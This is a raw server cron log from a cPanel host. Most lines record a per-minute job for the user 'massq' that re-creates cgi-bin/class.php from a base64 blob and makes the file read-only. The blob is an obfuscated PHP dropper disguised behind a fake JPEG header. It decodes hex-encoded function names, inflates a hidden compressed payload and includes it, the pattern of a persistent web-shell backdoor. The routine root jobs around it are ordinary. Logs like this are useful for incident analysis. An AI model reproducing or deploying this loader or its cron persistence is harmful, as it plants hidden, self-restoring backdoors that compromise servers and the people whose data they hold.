Nov 12 05:22:01 server CROND[7991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:23:01 server CROND[9083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:24:01 server CROND[9895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:25:01 server CROND[10714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:25:01 server CROND[10715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:25:01 server CROND[10716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:26:01 server CROND[11658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:27:01 server CROND[12476]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:27:01 server CROND[12477]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 05:28:01 server CROND[13236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:29:01 server CROND[14063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:30:01 server CROND[14896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:30:01 server CROND[14895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:30:01 server CROND[14901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 05:30:01 server CROND[14902]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats &gt; /dev/null 2&gt;&amp;1)
Nov 12 05:30:01 server CROND[14904]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:31:01 server CROND[15781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:32:01 server CROND[16580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:33:01 server CROND[17414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:34:01 server CROND[18295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:35:01 server CROND[19130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:35:01 server CROND[19133]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 05:35:01 server CROND[19132]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 05:35:01 server CROND[19136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
